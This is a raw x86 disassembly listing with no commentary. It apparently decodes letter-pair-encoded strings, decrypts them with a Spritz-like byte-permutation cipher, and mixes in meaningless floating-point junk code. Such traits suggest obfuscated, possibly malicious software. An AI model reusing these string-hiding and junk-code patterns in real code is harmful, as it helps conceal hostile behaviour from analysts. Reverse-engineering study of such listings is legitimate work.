mov dword [ebp - 0x320], eax
mov ecx, dword [ebp - 0x220]
add ecx, 1
mov dword [ebp - 0xddc], ecx
jmp 0x483902
mov edx, dword [ebp - 0xddc]
add edx, 1
mov dword [ebp - 0xddc], edx
mov eax, dword [ebp - 0xddc]
cmp eax, dword [ebp - 0x320]
jge 0x483b69
mov ecx, dword [ebp - 0x220]
add ecx, 1
mov dword [ebp - 0x220], ecx
mov edx, dword [ebp - 0x220]
shl edx, 1
mov dword [ebp - 0x528], edx
mov eax, dword [ebp - 0x524]
add eax, dword [ebp - 0x528]
movzx ecx, byte [eax]
mov dword [ebp - 0x4d4], ecx
mov dword [ebp - 0x4b8], 0x61
mov edx, dword [ebp - 0x220]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x530], eax
mov ecx, dword [ebp - 0x524]
add ecx, dword [ebp - 0x530]
movzx edx, byte [ecx]
mov dword [ebp - 0x498], edx
mov dword [ebp - 0x494], 0x68
mov eax, dword [ebp - 0x4d4]
sub eax, dword [ebp - 0x4b8]
mov dword [ebp - 0x490], eax
mov ecx, dword [ebp - 0x498]
sub ecx, dword [ebp - 0x494]
mov dword [ebp - 0x48c], ecx
mov edx, dword [ebp - 0x490]
shl edx, 4
mov dword [ebp - 0x534], edx
mov eax, dword [ebp - 0x48c]
mov dword [ebp - 0x53c], eax
mov ecx, dword [ebp - 0x534]
or ecx, dword [ebp - 0x53c]
mov dword [ebp - 0x540], ecx
mov dl, byte [ebp - 0x540]
mov byte [ebp - 0x1cd], dl
movzx eax, byte [ebp - 0x1ae]
mov cl, byte [ebp + eax - 0x1554]
mov byte [ebp - 0x1c6], cl
movzx edx, byte [ebp - 0x193]
movzx eax, byte [ebp + edx - 0x1554]
mov dword [ebp - 0x18a8], eax
mov cl, byte [ebp - 0x193]
add cl, 1
mov byte [ebp - 0x193], cl
movzx edx, byte [ebp - 0x1a4]
add edx, dword [ebp - 0x18a8]
mov byte [ebp - 0x1a4], dl
movzx eax, byte [ebp - 0x1a4]
movzx ecx, byte [ebp - 0x1ae]
mov dl, byte [ebp + eax - 0x1554]
mov byte [ebp + ecx - 0x1554], dl
movzx eax, byte [ebp - 0x1a3]
movzx ecx, byte [ebp - 0x1a4]
mov dl, byte [ebp + eax - 0x1554]
mov byte [ebp + ecx - 0x1554], dl
movzx eax, byte [ebp - 0x193]
movzx ecx, byte [ebp - 0x1a3]
mov dl, byte [ebp + eax - 0x1554]
mov byte [ebp + ecx - 0x1554], dl
movzx eax, byte [ebp - 0x193]
mov cl, byte [ebp - 0x1c6]
mov byte [ebp + eax - 0x1554], cl
movzx edx, byte [ebp - 0x1c6]
movzx eax, byte [ebp + edx - 0x1554]
movzx ecx, byte [ebp - 0x1ce]
add ecx, eax
mov byte [ebp - 0x1ce], cl
movzx edx, byte [ebp - 0x1cd]
movzx eax, byte [ebp - 0x1a4]
movzx ecx, byte [ebp + eax - 0x1554]
movzx eax, byte [ebp - 0x193]
movzx eax, byte [ebp + eax - 0x1554]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1554]
xor edx, ecx
movzx eax, byte [ebp - 0x1a3]
movzx ecx, byte [ebp + eax - 0x1554]
movzx eax, byte [ebp - 0x1ae]
movzx eax, byte [ebp + eax - 0x1554]
add ecx, eax
movzx eax, byte [ebp - 0x1ce]
movzx eax, byte [ebp + eax - 0x1554]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1554]
movzx eax, byte [ebp + ecx - 0x1554]
xor edx, eax
mov byte [ebp - 0x1a3], dl
mov cl, byte [ebp - 0x1cd]
mov byte [ebp - 0x1ae], cl
mov dl, byte [ebp - 0x1a3]
mov byte [ebp - 0x1eb], dl
cmp dword [ebp - 0x220], 0
jle 0x483b64
mov eax, dword [ebp - 0x220]
mov cl, byte [ebp - 0x1eb]
mov byte [ebp + eax - 0x1d], cl
jmp 0x4838f3
mov edx, dword [ebp - 0x320]
add edx, 1
mov dword [ebp - 0x320], edx
mov eax, dword [ebp - 0x220]
add eax, 1
mov dword [ebp - 0x220], eax
mov ecx, dword [ebp - 0x320]
add ecx, 1
mov dword [ebp - 0x320], ecx
mov edx, dword [ebp - 0x220]
shl edx, 1
mov dword [ebp - 0x528], edx
mov eax, dword [ebp - 0x524]
add eax, dword [ebp - 0x528]
movzx ecx, byte [eax]
mov dword [ebp - 0x4d4], ecx
mov dword [ebp - 0x4b8], 0x61
mov edx, dword [ebp - 0x220]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x530], eax
mov ecx, dword [ebp - 0x524]
add ecx, dword [ebp - 0x530]
movzx edx, byte [ecx]
mov dword [ebp - 0x498], edx
mov dword [ebp - 0x494], 0x68
mov eax, dword [ebp - 0x4d4]
sub eax, dword [ebp - 0x4b8]
mov dword [ebp - 0x490], eax
mov ecx, dword [ebp - 0x498]
sub ecx, dword [ebp - 0x494]
mov dword [ebp - 0x48c], ecx
mov edx, dword [ebp - 0x490]
shl edx, 4
mov dword [ebp - 0x534], edx
mov eax, dword [ebp - 0x48c]
mov dword [ebp - 0x53c], eax
mov ecx, dword [ebp - 0x534]
or ecx, dword [ebp - 0x53c]
mov dword [ebp - 0x540], ecx
mov dl, byte [ebp - 0x540]
mov byte [ebp - 0x1cd], dl
movzx eax, byte [ebp - 0x1ae]
mov cl, byte [ebp + eax - 0x1554]
mov byte [ebp - 0x1c6], cl
movzx edx, byte [ebp - 0x193]
movzx eax, byte [ebp + edx - 0x1554]
mov dword [ebp - 0x18ac], eax
mov cl, byte [ebp - 0x193]
add cl, 1
mov byte [ebp - 0x193], cl
movzx edx, byte [ebp - 0x1a4]
add edx, dword [ebp - 0x18ac]
mov byte [ebp - 0x1a4], dl
movzx eax, byte [ebp - 0x1a4]
movzx ecx, byte [ebp - 0x1ae]
mov dl, byte [ebp + eax - 0x1554]
mov byte [ebp + ecx - 0x1554], dl
movzx eax, byte [ebp - 0x1a3]
movzx ecx, byte [ebp - 0x1a4]
mov dl, byte [ebp + eax - 0x1554]
mov byte [ebp + ecx - 0x1554], dl
movzx eax, byte [ebp - 0x193]
movzx ecx, byte [ebp - 0x1a3]
mov dl, byte [ebp + eax - 0x1554]
mov byte [ebp + ecx - 0x1554], dl
movzx eax, byte [ebp - 0x193]
mov cl, byte [ebp - 0x1c6]
mov byte [ebp + eax - 0x1554], cl
movzx edx, byte [ebp - 0x1c6]
movzx eax, byte [ebp + edx - 0x1554]
movzx ecx, byte [ebp - 0x1ce]
add ecx, eax
mov byte [ebp - 0x1ce], cl
movzx edx, byte [ebp - 0x1cd]
movzx eax, byte [ebp - 0x1a4]
movzx ecx, byte [ebp + eax - 0x1554]
movzx eax, byte [ebp - 0x193]
movzx eax, byte [ebp + eax - 0x1554]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1554]
xor edx, ecx
movzx eax, byte [ebp - 0x1a3]
movzx ecx, byte [ebp + eax - 0x1554]
movzx eax, byte [ebp - 0x1ae]
movzx eax, byte [ebp + eax - 0x1554]
add ecx, eax
movzx eax, byte [ebp - 0x1ce]
movzx eax, byte [ebp + eax - 0x1554]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1554]
movzx eax, byte [ebp + ecx - 0x1554]
xor edx, eax
mov byte [ebp - 0x1a3], dl
mov cl, byte [ebp - 0x1cd]
mov byte [ebp - 0x1ae], cl
mov dl, byte [ebp - 0x1a3]
mov byte [ebp - 0x1eb], dl
cmp dword [ebp - 0x220], 0
jle 0x483dd7
mov eax, dword [ebp - 0x220]
mov cl, byte [ebp - 0x1eb]
mov byte [ebp + eax - 0x1d], cl
mov edx, dword [ebp - 0x320]
add edx, 3
mov dword [ebp - 0x320], edx
mov eax, dword [ebp - 0x220]
add eax, 1
mov dword [ebp - 0xde0], eax
jmp 0x483e06
mov ecx, dword [ebp - 0xde0]
add ecx, 1
mov dword [ebp - 0xde0], ecx
mov edx, dword [ebp - 0xde0]
cmp edx, dword [ebp - 0x320]
jge 0x484316
mov eax, dword [ebp - 0x220]
add eax, 1
mov dword [ebp - 0x220], eax
mov ecx, dword [ebp - 0x220]
shl ecx, 1
mov dword [ebp - 0x528], ecx
mov edx, dword [ebp - 0x524]
add edx, dword [ebp - 0x528]
movzx eax, byte [edx]
mov dword [ebp - 0x4d4], eax
mov dword [ebp - 0x4b8], 0x61
mov ecx, dword [ebp - 0x220]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x530], edx
mov eax, dword [ebp - 0x524]
add eax, dword [ebp - 0x530]
movzx ecx, byte [eax]
mov dword [ebp - 0x498], ecx
mov dword [ebp - 0x494], 0x68
mov edx, dword [ebp - 0x4d4]
sub edx, dword [ebp - 0x4b8]
mov dword [ebp - 0x490], edx
mov eax, dword [ebp - 0x498]
sub eax, dword [ebp - 0x494]
mov dword [ebp - 0x48c], eax
mov ecx, dword [ebp - 0x490]
shl ecx, 4
mov dword [ebp - 0x534], ecx
mov edx, dword [ebp - 0x48c]
mov dword [ebp - 0x53c], edx
mov eax, dword [ebp - 0x534]
or eax, dword [ebp - 0x53c]
mov dword [ebp - 0x540], eax
mov cl, byte [ebp - 0x540]
mov byte [ebp - 0x1cd], cl
movzx edx, byte [ebp - 0x1ae]
mov al, byte [ebp + edx - 0x1554]
mov byte [ebp - 0x1c6], al
movzx ecx, byte [ebp - 0x193]
movzx edx, byte [ebp + ecx - 0x1554]
mov dword [ebp - 0x18b0], edx
mov al, byte [ebp - 0x193]
add al, 1
mov byte [ebp - 0x193], al
movzx ecx, byte [ebp - 0x1a4]
add ecx, dword [ebp - 0x18b0]
mov byte [ebp - 0x1a4], cl
movsd xmm0, qword [0x582610]
movsd qword [ebp - 0x7a0], xmm0
movsd xmm0, qword [0x5824c0]
movsd qword [ebp - 0x8a0], xmm0
movsd xmm0, qword [0x582370]
movsd qword [ebp - 0xa18], xmm0
movsd xmm0, qword [0x582198]
movsd qword [ebp - 0x770], xmm0
movsd xmm0, qword [ebp - 0x8a0]
subsd xmm0, qword [ebp - 0x770]
movsd qword [ebp - 0x8a0], xmm0
movsd xmm0, qword [ebp - 0x7a0]
mulsd xmm0, qword [ebp - 0x770]
movsd qword [ebp - 0x7a0], xmm0
movsd xmm0, qword [ebp - 0x7a0]
mulsd xmm0, qword [ebp - 0x770]
movsd qword [ebp - 0x7a0], xmm0
movsd xmm0, qword [ebp - 0x8a0]
mulsd xmm0, qword [ebp - 0x770]
movsd qword [ebp - 0x8a0], xmm0
movsd xmm0, qword [ebp - 0x770]
comisd xmm0, xmmword [ebp - 0x7a0]
jbe 0x484176
movsd xmm0, qword [ebp - 0x770]
divsd xmm0, qword [ebp - 0x8a0]
movsd qword [ebp - 0x770], xmm0
movsd xmm0, qword [ebp - 0x7a0]
divsd xmm0, qword [ebp - 0xa18]
movsd qword [ebp - 0x7a0], xmm0
movsd xmm0, qword [ebp - 0xa18]
divsd xmm0, qword [ebp - 0x7a0]
movsd qword [ebp - 0xa18], xmm0
movsd xmm0, qword [ebp - 0x7a0]
divsd xmm0, qword [ebp - 0xa18]
movsd qword [ebp - 0x7a0], xmm0
movsd xmm0, qword [ebp - 0x8a0]
subsd xmm0, qword [ebp - 0x770]
movsd qword [ebp - 0x8a0], xmm0
movsd xmm0, qword [ebp - 0x770]
mulsd xmm0, qword [ebp - 0x8a0]
movsd qword [ebp - 0x770], xmm0
movsd xmm0, qword [ebp - 0x770]
divsd xmm0, qword [ebp - 0x8a0]
movsd qword [ebp - 0x770], xmm0
movsd xmm0, qword [ebp - 0xa18]
divsd xmm0, qword [ebp - 0x7a0]
movsd qword [ebp - 0xa18], xmm0
movsd xmm0, qword [ebp - 0xa18]
comisd xmm0, xmmword [ebp - 0x7a0]
jbe 0x484114
movsd xmm0, qword [ebp - 0x7a0]
addsd xmm0, qword [ebp - 0x8a0]
movsd qword [ebp - 0x7a0], xmm0
movsd xmm0, qword [ebp - 0x770]
addsd xmm0, qword [ebp - 0x7a0]
movsd qword [ebp - 0x770], xmm0
movsd xmm0, qword [ebp - 0x770]
addsd xmm0, qword [ebp - 0x7a0]
movsd qword [ebp - 0x770], xmm0
movsd xmm0, qword [ebp - 0x8a0]
addsd xmm0, qword [ebp - 0xa18]
movsd qword [ebp - 0x8a0], xmm0
jmp 0x484174
movsd xmm0, qword [ebp - 0xa18]
mulsd xmm0, qword [ebp - 0x770]
movsd qword [ebp - 0xa18], xmm0
movsd xmm0, qword [ebp - 0xa18]
subsd xmm0, qword [ebp - 0x770]
movsd qword [ebp - 0xa18], xmm0
movsd xmm0, qword [ebp - 0x8a0]
divsd xmm0, qword [ebp - 0xa18]
movsd qword [ebp - 0x8a0], xmm0
movsd xmm0, qword [ebp - 0x770]
mulsd xmm0, qword [ebp - 0x7a0]
movsd qword [ebp - 0x770], xmm0
jmp 0x4841f2
movsd xmm0, qword [ebp - 0x770]
subsd xmm0, qword [ebp - 0x7a0]
movsd qword [ebp - 0x770], xmm0
movsd xmm0, qword [ebp - 0x7a0]
addsd xmm0, qword [ebp - 0x8a0]
movsd qword [ebp - 0x7a0], xmm0
movsd xmm0, qword [ebp - 0x8a0]
mulsd xmm0, qword [ebp - 0xa18]
movsd qword [ebp - 0x8a0], xmm0
movsd xmm0, qword [ebp - 0x7a0]
subsd xmm0, qword [ebp - 0x8a0]
movsd qword [ebp - 0x7a0], xmm0
movzx edx, byte [ebp - 0x1a4]
movzx eax, byte [ebp - 0x1ae]
mov cl, byte [ebp + edx - 0x1554]
mov byte [ebp + eax - 0x1554], cl
movzx edx, byte [ebp - 0x1a3]
movzx eax, byte [ebp - 0x1a4]
mov cl, byte [ebp + edx - 0x1554]
mov byte [ebp + eax - 0x1554], cl
movzx edx, byte [ebp - 0x193]
movzx eax, byte [ebp - 0x1a3]
mov cl, byte [ebp + edx - 0x1554]
mov byte [ebp + eax - 0x1554], cl
movzx edx, byte [ebp - 0x193]
mov al, byte [ebp - 0x1c6]
mov byte [ebp + edx - 0x1554], al
movzx ecx, byte [ebp - 0x1c6]
movzx edx, byte [ebp + ecx - 0x1554]
movzx eax, byte [ebp - 0x1ce]
add eax, edx
mov byte [ebp - 0x1ce], al
movzx ecx, byte [ebp - 0x1cd]
movzx edx, byte [ebp - 0x1a4]
movzx eax, byte [ebp + edx - 0x1554]
movzx edx, byte [ebp - 0x193]
movzx edx, byte [ebp + edx - 0x1554]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1554]
xor ecx, eax
movzx edx, byte [ebp - 0x1a3]
movzx eax, byte [ebp + edx - 0x1554]
movzx edx, byte [ebp - 0x1ae]
movzx edx, byte [ebp + edx - 0x1554]
add eax, edx
movzx edx, byte [ebp - 0x1ce]
movzx edx, byte [ebp + edx - 0x1554]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1554]
movzx edx, byte [ebp + eax - 0x1554]
xor ecx, edx
mov byte [ebp - 0x1a3], cl
mov al, byte [ebp - 0x1cd]
mov byte [ebp - 0x1ae], al
mov cl, byte [ebp - 0x1a3]
mov byte [ebp - 0x1eb], cl
cmp dword [ebp - 0x220], 0
jle 0x484311
mov edx, dword [ebp - 0x220]
mov al, byte [ebp - 0x1eb]
mov byte [ebp + edx - 0x1d], al
jmp 0x483df7
mov ecx, dword [ebp - 0x320]
add ecx, 1
mov dword [ebp - 0x320], ecx
mov edx, dword [ebp - 0x220]
add edx, 1
mov dword [ebp - 0x220], edx
mov eax, dword [ebp - 0x320]
add eax, 1
mov dword [ebp - 0x320], eax
mov ecx, dword [ebp - 0x220]
shl ecx, 1
mov dword [ebp - 0x528], ecx
mov edx, dword [ebp - 0x524]
add edx, dword [ebp - 0x528]
movzx eax, byte [edx]
mov dword [ebp - 0x4d4], eax
mov dword [ebp - 0x4b8], 0x61
mov ecx, dword [ebp - 0x220]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x530], edx
mov eax, dword [ebp - 0x524]
add eax, dword [ebp - 0x530]
movzx ecx, byte [eax]
mov dword [ebp - 0x498], ecx
mov dword [ebp - 0x494], 0x68
mov edx, dword [ebp - 0x4d4]
sub edx, dword [ebp - 0x4b8]
mov dword [ebp - 0x490], edx
mov eax, dword [ebp - 0x498]
sub eax, dword [ebp - 0x494]
mov dword [ebp - 0x48c], eax
mov ecx, dword [ebp - 0x490]
shl ecx, 4
mov dword [ebp - 0x534], ecx
mov edx, dword [ebp - 0x48c]
mov dword [ebp - 0x53c], edx
mov eax, dword [ebp - 0x534]
or eax, dword [ebp - 0x53c]
mov dword [ebp - 0x540], eax
mov cl, byte [ebp - 0x540]
mov byte [ebp - 0x1cd], cl
movzx edx, byte [ebp - 0x1ae]
mov al, byte [ebp + edx - 0x1554]
mov byte [ebp - 0x1c6], al
movzx ecx, byte [ebp - 0x193]
movzx edx, byte [ebp + ecx - 0x1554]
mov dword [ebp - 0x18b4], edx
mov al, byte [ebp - 0x193]
add al, 1
mov byte [ebp - 0x193], al
movzx ecx, byte [ebp - 0x1a4]
add ecx, dword [ebp - 0x18b4]
mov byte [ebp - 0x1a4], cl
movzx edx, byte [ebp - 0x1a4]
movzx eax, byte [ebp - 0x1ae]
mov cl, byte [ebp + edx - 0x1554]
mov byte [ebp + eax - 0x1554], cl
movzx edx, byte [ebp - 0x1a3]
movzx eax, byte [ebp - 0x1a4]
mov cl, byte [ebp + edx - 0x1554]
mov byte [ebp + eax - 0x1554], cl
movzx edx, byte [ebp - 0x193]
movzx eax, byte [ebp - 0x1a3]
mov cl, byte [ebp + edx - 0x1554]
mov byte [ebp + eax - 0x1554], cl
movzx edx, byte [ebp - 0x193]
mov al, byte [ebp - 0x1c6]
mov byte [ebp + edx - 0x1554], al
movzx ecx, byte [ebp - 0x1c6]
movzx edx, byte [ebp + ecx - 0x1554]
movzx eax, byte [ebp - 0x1ce]
add eax, edx
mov byte [ebp - 0x1ce], al
movzx ecx, byte [ebp - 0x1cd]
movzx edx, byte [ebp - 0x1a4]
movzx eax, byte [ebp + edx - 0x1554]
movzx edx, byte [ebp - 0x193]
movzx edx, byte [ebp + edx - 0x1554]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1554]
xor ecx, eax
movzx edx, byte [ebp - 0x1a3]
movzx eax, byte [ebp + edx - 0x1554]
movzx edx, byte [ebp - 0x1ae]
movzx edx, byte [ebp + edx - 0x1554]
add eax, edx
movzx edx, byte [ebp - 0x1ce]
movzx edx, byte [ebp + edx - 0x1554]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1554]
movzx edx, byte [ebp + eax - 0x1554]
xor ecx, edx
mov byte [ebp - 0x1a3], cl
mov al, byte [ebp - 0x1cd]
mov byte [ebp - 0x1ae], al
mov cl, byte [ebp - 0x1a3]
mov byte [ebp - 0x1eb], cl
cmp dword [ebp - 0x220], 0
jle 0x484581
mov edx, dword [ebp - 0x220]
mov al, byte [ebp - 0x1eb]
mov byte [ebp + edx - 0x1d], al
mov ecx, dword [ebp - 0x220]
add ecx, 1
mov dword [ebp - 0x220], ecx
mov edx, dword [ebp - 0x320]
add edx, 1
mov dword [ebp - 0x320], edx
movsd xmm0, qword [0x582650]
movsd qword [ebp - 0xc50], xmm0
movsd xmm0, qword [0x582580]
movsd qword [ebp - 0xc98], xmm0
movsd xmm0, qword [0x582478]
movsd qword [ebp - 0xe3c], xmm0
movsd xmm0, qword [0x582398]
movsd qword [ebp - 0xa9c], xmm0
movsd xmm0, qword [0x582250]
movsd qword [ebp - 0xe2c], xmm0
movsd xmm0, qword [0x5820e0]
movsd qword [ebp - 0xb90], xmm0
movsd xmm0, qword [ebp - 0xa9c]
mulsd xmm0, qword [ebp - 0xb90]
movsd qword [ebp - 0xa9c], xmm0
movsd xmm0, qword [ebp - 0xc50]
subsd xmm0, qword [ebp - 0xb90]
movsd qword [ebp - 0xc50], xmm0
movsd xmm0, qword [ebp - 0xe3c]
addsd xmm0, qword [ebp - 0xb90]
movsd qword [ebp - 0xe3c], xmm0
movsd xmm0, qword [ebp - 0xe2c]
mulsd xmm0, qword [ebp - 0xb90]
movsd qword [ebp - 0xe2c], xmm0
movsd xmm0, qword [ebp - 0xc50]
subsd xmm0, qword [ebp - 0xb90]
movsd qword [ebp - 0xc50], xmm0
movsd xmm0, qword [ebp - 0xa9c]
addsd xmm0, qword [ebp - 0xb90]
movsd qword [ebp - 0xa9c], xmm0
movsd xmm0, qword [ebp - 0xb90]
comisd xmm0, xmmword [ebp - 0xa9c]
jbe 0x48473a
movsd xmm0, qword [ebp - 0xc50]
addsd xmm0, qword [ebp - 0xc98]
movsd qword [ebp - 0xc50], xmm0
movsd xmm0, qword [ebp - 0xc50]
addsd xmm0, qword [ebp - 0xc98]
movsd qword [ebp - 0xc50], xmm0
movsd xmm0, qword [ebp - 0xe2c]
addsd xmm0, qword [ebp - 0xb90]
movsd qword [ebp - 0xe2c], xmm0
movsd xmm0, qword [ebp - 0xa9c]
addsd xmm0, qword [ebp - 0xe2c]
movsd qword [ebp - 0xa9c], xmm0
movsd xmm0, qword [ebp - 0xc98]
subsd xmm0, qword [ebp - 0xe3c]
movsd qword [ebp - 0xc98], xmm0
movsd xmm0, qword [ebp - 0xa9c]
addsd xmm0, qword [ebp - 0xe2c]
movsd qword [ebp - 0xa9c], xmm0
jmp 0x4847d8
movsd xmm0, qword [ebp - 0xc98]
subsd xmm0, qword [ebp - 0xa9c]
movsd qword [ebp - 0xc98], xmm0
movsd xmm0, qword [ebp - 0xe3c]
addsd xmm0, qword [ebp - 0xe2c]
movsd qword [ebp - 0xe3c], xmm0
movsd xmm0, qword [ebp - 0xc50]
addsd xmm0, qword [ebp - 0xe3c]
movsd qword [ebp - 0xc50], xmm0
movsd xmm0, qword [ebp - 0xa9c]
addsd xmm0, qword [ebp - 0xb90]
movsd qword [ebp - 0xa9c], xmm0
movsd xmm0, qword [ebp - 0xb90]
mulsd xmm0, qword [ebp - 0xc98]
movsd qword [ebp - 0xb90], xmm0
movsd xmm0, qword [ebp - 0xc98]
addsd xmm0, qword [ebp - 0xa9c]
movsd qword [ebp - 0xc98], xmm0
mov eax, dword [ebp - 0x220]
shl eax, 1
mov dword [ebp - 0x528], eax
mov ecx, dword [ebp - 0x524]
add ecx, dword [ebp - 0x528]
movzx edx, byte [ecx]
mov dword [ebp - 0x4d4], edx
mov dword [ebp - 0x4b8], 0x61
mov eax, dword [ebp - 0x220]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x530], ecx
mov edx, dword [ebp - 0x524]
add edx, dword [ebp - 0x530]
movzx eax, byte [edx]
mov dword [ebp - 0x498], eax
mov dword [ebp - 0x494], 0x68
mov ecx, dword [ebp - 0x4d4]
sub ecx, dword [ebp - 0x4b8]
mov dword [ebp - 0x490], ecx
mov edx, dword [ebp - 0x498]
sub edx, dword [ebp - 0x494]
mov dword [ebp - 0x48c], edx
mov eax, dword [ebp - 0x490]
shl eax, 4
mov dword [ebp - 0x534], eax
mov ecx, dword [ebp - 0x48c]
mov dword [ebp - 0x53c], ecx
mov edx, dword [ebp - 0x534]
or edx, dword [ebp - 0x53c]
mov dword [ebp - 0x540], edx
mov al, byte [ebp - 0x540]
mov byte [ebp - 0x1cd], al
movzx ecx, byte [ebp - 0x1ae]
mov dl, byte [ebp + ecx - 0x1554]
mov byte [ebp - 0x1c6], dl
movzx eax, byte [ebp - 0x193]
movzx ecx, byte [ebp + eax - 0x1554]
mov dword [ebp - 0x18b8], ecx
mov dl, byte [ebp - 0x193]
add dl, 1
mov byte [ebp - 0x193], dl
movzx eax, byte [ebp - 0x1a4]
add eax, dword [ebp - 0x18b8]
mov byte [ebp - 0x1a4], al
movzx ecx, byte [ebp - 0x1a4]
movzx edx, byte [ebp - 0x1ae]
mov al, byte [ebp + ecx - 0x1554]
mov byte [ebp + edx - 0x1554], al
movzx ecx, byte [ebp - 0x1a3]
movzx edx, byte [ebp - 0x1a4]
mov al, byte [ebp + ecx - 0x1554]
mov byte [ebp + edx - 0x1554], al
movzx ecx, byte [ebp - 0x193]
movzx edx, byte [ebp - 0x1a3]
mov al, byte [ebp + ecx - 0x1554]
mov byte [ebp + edx - 0x1554], al
movzx ecx, byte [ebp - 0x193]
mov dl, byte [ebp - 0x1c6]
mov byte [ebp + ecx - 0x1554], dl
movzx eax, byte [ebp - 0x1c6]
movzx ecx, byte [ebp + eax - 0x1554]
movzx edx, byte [ebp - 0x1ce]
add edx, ecx
mov byte [ebp - 0x1ce], dl
movzx eax, byte [ebp - 0x1cd]
movzx ecx, byte [ebp - 0x1a4]
movzx edx, byte [ebp + ecx - 0x1554]
movzx ecx, byte [ebp - 0x193]
movzx ecx, byte [ebp + ecx - 0x1554]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1554]
xor eax, edx
movzx ecx, byte [ebp - 0x1a3]
movzx edx, byte [ebp + ecx - 0x1554]
movzx ecx, byte [ebp - 0x1ae]
movzx ecx, byte [ebp + ecx - 0x1554]
add edx, ecx
movzx ecx, byte [ebp - 0x1ce]
movzx ecx, byte [ebp + ecx - 0x1554]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1554]
movzx ecx, byte [ebp + edx - 0x1554]
xor eax, ecx
mov byte [ebp - 0x1a3], al
mov dl, byte [ebp - 0x1cd]
mov byte [ebp - 0x1ae], dl
mov al, byte [ebp - 0x1a3]
mov byte [ebp - 0x1eb], al
cmp dword [ebp - 0x220], 0
jle 0x484a0b
mov ecx, dword [ebp - 0x220]
mov dl, byte [ebp - 0x1eb]
mov byte [ebp + ecx - 0x1d], dl
mov eax, 1
imul ecx, eax, 0xb
mov dword [ebp - 0x1034], ecx
cmp dword [ebp - 0x1034], 0xc
jae 0x484a24
jmp 0x484a2a
call fcn.0051c285
nop
mov edx, dword [ebp - 0x1034]
mov byte [ebp + edx - 0x1c], 0
jmp 0x484a85
mov dword [ebp - 0xc88], 0
jmp 0x484a52
mov eax, dword [ebp - 0xc88]
add eax, 1
mov dword [ebp - 0xc88], eax
cmp dword [ebp - 0xc88], 0xc
jge 0x484a85
mov ecx, dword [ebp - 0xc88]
mov dword [ebp - 0x1038], ecx
cmp dword [ebp - 0x1038], 0xc
jae 0x484a72
jmp 0x484a78
call fcn.0051c285
nop
mov edx, dword [ebp - 0x1038]
mov byte [ebp + edx - 0x1c], 0
jmp 0x484a43
mov eax, dword [ebp - 0x1f4]
mov ecx, dword [eax + 0x34]
mov dword [ebp - 0x18bc], ecx
lea edx, [ebp - 0x1c]
push edx
mov ecx, dword [ebp - 0x18bc]
call fcn.004dd330
mov ecx, dword [ebp - 0x1f4]
mov dword [ecx + 0x44], eax
push 0x11
call fcn.0051c123
add esp, 4
mov dword [ebp - 0x18c0], eax
mov edx, dword [ebp - 0x1f4]
mov eax, dword [ebp - 0x18c0]
mov dword [edx + 0x70], eax
mov dword [ebp - 0xe0c], 0x11
mov ecx, dword [ebp - 0x1f4]
mov edx, dword [ecx + 0x70]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x18c4]
mov dword [ebp - 0xde4], eax
cmp dword [ebp - 0xe0c], 0
je 0x484b22
mov ecx, dword [ebp - 0xde4]
mov byte [ecx], 0
mov edx, dword [ebp - 0xde4]
add edx, 1
mov dword [ebp - 0xde4], edx
mov eax, dword [ebp - 0xe0c]
sub eax, 1
mov dword [ebp - 0xe0c], eax
jmp 0x484af0
push 0x208
call fcn.0051c123
add esp, 4
mov dword [ebp - 0x18c8], eax
mov ecx, dword [ebp - 0x1f4]
mov edx, dword [ebp - 0x18c8]
mov dword [ecx + 0xc], edx
mov dword [ebp - 0xdf0], 0x208
mov eax, dword [ebp - 0x1f4]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x18cc], ecx
mov edx, dword [ebp - 0x18cc]
mov dword [ebp - 0xdec], edx
cmp dword [ebp - 0xdf0], 0
je 0x484b9b
mov eax, dword [ebp - 0xdec]
mov byte [eax], 0
mov ecx, dword [ebp - 0xdec]
add ecx, 1
mov dword [ebp - 0xdec], ecx
mov edx, dword [ebp - 0xdf0]
sub edx, 1
mov dword [ebp - 0xdf0], edx
jmp 0x484b69
push 0x208
call fcn.0051c123
add esp, 4
mov dword [ebp - 0x18d0], eax
mov eax, dword [ebp - 0x1f4]
mov ecx, dword [ebp - 0x18d0]
mov dword [eax + 0x10], ecx
mov dword [ebp - 0xe00], 0x208
mov edx, dword [ebp - 0x1f4]
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x18d4], eax
mov ecx, dword [ebp - 0x18d4]
mov dword [ebp - 0xdf4], ecx
cmp dword [ebp - 0xe00], 0
je 0x484c14
mov edx, dword [ebp - 0xdf4]
mov byte [edx], 0
mov eax, dword [ebp - 0xdf4]
add eax, 1
mov dword [ebp - 0xdf4], eax
mov ecx, dword [ebp - 0xe00]
sub ecx, 1
mov dword [ebp - 0xe00], ecx
jmp 0x484be2
push 0x208
call fcn.0051c123
add esp, 4
mov dword [ebp - 0x18d8], eax
mov edx, dword [ebp - 0x1f4]
mov eax, dword [ebp - 0x18d8]
mov dword [edx + 0x14], eax
mov dword [ebp - 0xd80], 0x208
mov ecx, dword [ebp - 0x1f4]
mov edx, dword [ecx + 0x14]
mov dword [ebp - 0x18dc], edx
mov eax, dword [ebp - 0x18dc]
mov dword [ebp - 0xe04], eax
cmp dword [ebp - 0xd80], 0
je 0x484c8d
mov ecx, dword [ebp - 0xe04]
mov byte [ecx], 0
mov edx, dword [ebp - 0xe04]
add edx, 1
mov dword [ebp - 0xe04], edx
mov eax, dword [ebp - 0xd80]
sub eax, 1
mov dword [ebp - 0xd80], eax
jmp 0x484c5b
push 0x208
call fcn.0051c123
add esp, 4
mov dword [ebp - 0x18e0], eax
mov ecx, dword [ebp - 0x1f4]
